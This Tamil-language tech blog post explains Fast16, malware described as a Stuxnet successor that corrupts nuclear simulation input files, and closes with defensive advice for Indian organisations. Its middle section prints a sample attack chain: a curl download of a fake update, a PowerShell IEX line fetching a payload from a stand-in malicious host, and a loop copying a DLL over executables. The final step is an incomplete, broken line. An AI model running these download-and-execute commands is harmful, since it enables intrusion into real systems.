Stuxnet‑க்கு புதிய ரத்தினம் Fast16: அணு சிமுலேஷன் வேகத்தைத் தணிக்க முயன்றது

செய்தி என்ன?#

கடைசியாக நீங்களும், நாமும் கேட்டு வந்திருக்கும் ‘Stuxnet’ பற்றி நினைக்கிறீங்களா? 2010‑இல் Iran‑ன் சென்ட்ரிஃபியூஜ்‌களை உடைத்த அந்த வைரஸ், இப்போ தன் புதிய வடிவம் Fast16‑ஆக மறுபிறவி பெற்றுள்ளது. ஆனால் Fast16, சென்ட்ரிஃபியூஜ் உடைக்காது – அது Iran‑ன் அணு ஆய்வு சிமுலேஷன் மென்பொருளை (NUCLEAR‑SIM) தேடி, உள்ளீட்டு தரவுகளை சிறு‑சிறு மாற்றம் செய்து, பரிசோதனை முடிவை தாமதப்படுத்தும் பணி செய்யும்.

Fast16 எப்படி வேலை செய்கிறது?#

Fast16, ‘மொடியுலர்’ மால்வேர். முதலில் ஒரு சிறிய லோடர் Windows Update போல முகம் மாற்றி, டிஜிட்டல் சைனேச்சர் கொண்டு Windows Defender‑ஐ தந்திரமாக சும்மா விட்டு விடுகிறது. அந்த லோடர், சர்வர்‑லிருந்து இரண்டாம்‑நிலை பைலோடு (payload) ஐ டவுன்லோட் செய்து, நியூக்கிளியர்‑சிம் (NUCLEAR‑SIM) மென்பொருள் இருக்கும் இடத்தைத் தேடி, அவற்றின் இன்புட் (input) கோப்புகளை ‘flux.dat’ போன்றவை மாற்றி விடுகிறது.

1. Windows Update போல முகம் மாற்றல்
curl -O https://example.com/update.exe
start update.exe /quiet

# 2. PowerShell மூலம் இரண்டாம்‑நிலை பைலோடு டவுன்லோட்
powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://malicious.host/payload.bin')"

# 3. NUCLEAR‑SIM பைனரியை தேடல்
for /r C:\ "*.exe" do (
    findstr /i "nuclear_sim" %%f && copy payload.dll %%f
)

# 4. DLL hijack – இன்புட் கோப்பை 2% மாற்றம்
python - 

மேலுள்ள கோடு ஒரு எளிய மாதிரி, ஆனால் உண்மையான Fast16‑யும் இதையேப் பயன்படுத்துகிறது – டிஜிட்டல் சைன்‑ஆட், PowerShell ‘living‑off‑the‑land’, DLL hijack. இதை நம் பக்கம் இருந்து பார்த்தால், ‘சொல்லை மாற்றி, விளைவை மங்கலாக்கு’ என்ற பணி தான்.

இந்த மால்வேர் இந்தியாவை எப்படிப் பாதிக்கும்?#

நம் நாட்டின் அணு திட்டம், ஆராய்ச்சி மையங்கள், மற்றும் மேம்பட்ட சிமுலேஷன் சாப்ட்வேர் எல்லாம் ‘high‑performance computing’ (HPC) மீது சார்ந்தவை. Fast16 மாதிரி ஒரு மால்வேர், அதிக செலவுடைய பரிசோதனை (மில்லியன் ரூபாய், வாரங்கள்) ஒன்றைத் தாமதப்படுத்தி, பட்ஜெட்டை சிதறடிக்கலாம்.

மேலும், Fast16, ஒரு பிரபலமான மூன்றாம்‑பார்டி டிரைவர் அப்டேட் விநியோக வழியால் வந்தது. இந்திய அரசுப் பணியாளர்கள், பல பழைய ஹார்ட்வேர்‑களை இந்த டிரைவரால் இயக்குகிறார்கள். ஒரு சின்ன சைன்‑ஆட் டிரைவர், முழு லேப்‑ஐத் தாக்கியால், விளைவு ‘குழந்தை இனம்’ இல்லை – அது முழு திட்டத்தின் காலவரைதைக் கூட மாற்றும்.

நீங்கள் இப்போ செய்யவேண்டிய 5 விஷயங்கள்#

1. Windows Update‑ன் ‘Driver Installation’ கொள்கையை மீண்டும் பார்க்கவும். Unsigned driver‑களை தானாக நிறுவ விடாதீர்கள்.
2. Application Whitelisting (Microsoft Defender Application Control) பயன்படுத்தி, முக்கியமான விஞ்ஞான சாப்ட்வேர் மட்டுமே ஓட அனுமதிக்கவும்.
3. PowerShell logging‑ஐ ON‑ஆக வைத்துக்கொண்டு, “DownloadString” அல்லது “IEX” போன்ற suspicious command‑களை real‑time‑ல் alert‑ஆக பெறுங்கள்.
4. சிமுலேஷன் இன்புட் கோப்புகளின் checksum‑ஐ regular‑ஆக verify செய்யவும். மாறிய checksum, data‑tampering‑ன் முதல் அறிகுறி.
5. Endpoint protection‑ன் signature‑களை எப்போதும் latest‑ஆக வைத்துக் கொள்ளுங்கள் – பெரும்பாலான AV vendors, Fast16‑ன் IOCs‑ஐ already add செய்துவிட்டார்கள்.

TamilTech‑ஓட கருத்து#

Fast16, cyber‑war‑இன் புதிய காலத்தை காட்டுகிறது – ‘கொல்லும்’ அயல்நாட்டுக்கு பதில், ‘தாமதப்படுத்தும்’ தொழில்நுட்பம். இது hardware‑ஐ அழிக்காது, ஆனால் data‑ஐ subtly corrupt செய்யும். இதை கண்டுபிடிக்க, “அரியநிலை (subtle) anomaly detection” தான் தேவை.

இந்தப் பணி, இந்தியாவின் defence‑related software‑களுக்கு ஒரு ‘சைனிகல் அச்சுறுத்தல்’ மாதிரி. நாம் firewall‑களால், antivirus‑களால் மட்டும் நம்ப முடியாது. Behaviour‑based analytics, supply‑chain verification, மற்றும் ‘zero‑trust’ mindset‑ஐ ஏற்க வேண்டும்.

எதிர்காலம் என்ன?#

ஆராய்ச்சியாளர்கள், Fast16-க்கு இன்னும் பல வடிவங்கள் இருக்கும், அவை satellite control software, missile guidance simulation, AI‑based predictive maintenance model‑களையும் target செய்யலாம் என்று எதிர்பார்க்கிறார்கள். அதாவது, ‘சிறு‑கோடு‑தவறு’ பெரிய மூலதன‑மாற்றம் கொடுக்கும். நம் IT‑பிரிவு, இந்த அபாயத்தை எதிர்கொள்வதற்காக, ‘attack‑tree’ மாதிரியை பயன்படுத்தி, ஒவ்வொரு code‑line‑க்கும் risk assessment செய்ய வேண்டும்.

முடிவில், Fast16-ன் செய்தி தெளிவாக – cyber‑war‑இல் எதிரி, உங்கள் கணினியை crash‑ஆக இல்லாமல், ‘wrong answer’ கொடுத்து, உங்களை தள்ளிவிடும். அதற்காக நாம் எப்போதும் சீராக patch‑செய்ய, log‑ஐ monitor‑செய்ய, மற்றும் data‑integrity‑ஐ verify‑செய்ய வேண்டும்.

அடுத்த மாதங்களில், இந்த மால்வேர் தொடர்பான புதிய variant‑கள் வெளியீடு ஆகலாம். அதற்காக TamilTech, உங்களை real‑time‑ல் தகவல்களுடன் வைத்திருக்கும்.